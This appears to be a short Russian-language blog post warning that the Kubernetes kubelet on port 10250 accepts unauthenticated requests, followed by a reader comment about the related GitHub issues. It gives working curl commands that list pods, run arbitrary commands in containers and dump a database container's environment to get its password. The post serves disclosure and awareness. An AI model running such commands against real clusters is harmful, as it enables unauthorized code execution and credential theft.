Предостережение для пользователей Kubernetes
Сервис kubelet
, с которым тесно общается apiserver
, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.
Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:
- https://github.com/kubernetes/kubernetes/issues/3168
- https://github.com/kubernetes/kubernetes/issues/7965
- https://github.com/kubernetes/kubernetes/issues/11816
Что с этим можно сделать? Правтически всё. Без регистрации и sms.
Получить список всех pod’ов:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
Выполнить команду внутри контейнера? Запросто:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
Получить пароль на базу данных? Проще простого:
$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'
Вытащить из неё данные тоже не составит труда.
Комментарии (1)
26 августа 2016 в 19:42
0↑
↓
Вы там вопрос задали — почему иссую 11816 закрыли. Так вот прямо над вашим вопросом референсится иссуя 2098, в которой поясняется закрытие:@mikedanese #11816 (comment) mentions authn/authz for kubelet. #14700 added interfaces for authn/authz to the kubelet but didn’t wire them to command line options yet. Some of the work around webhook authn and authz could allow the kubelet to use the same authn/authz as the master if we wanted it to.
Иссуя 3168 — закрыта потому, что тема перекочевала в 11816. А 7965 закрыта как дубль 3168.В общем, пишут, что аутентификация добавлена, хотя не добавили опций в командную строку для ее осуществления. Есть воркэраунд, но дальше я уже не вникал.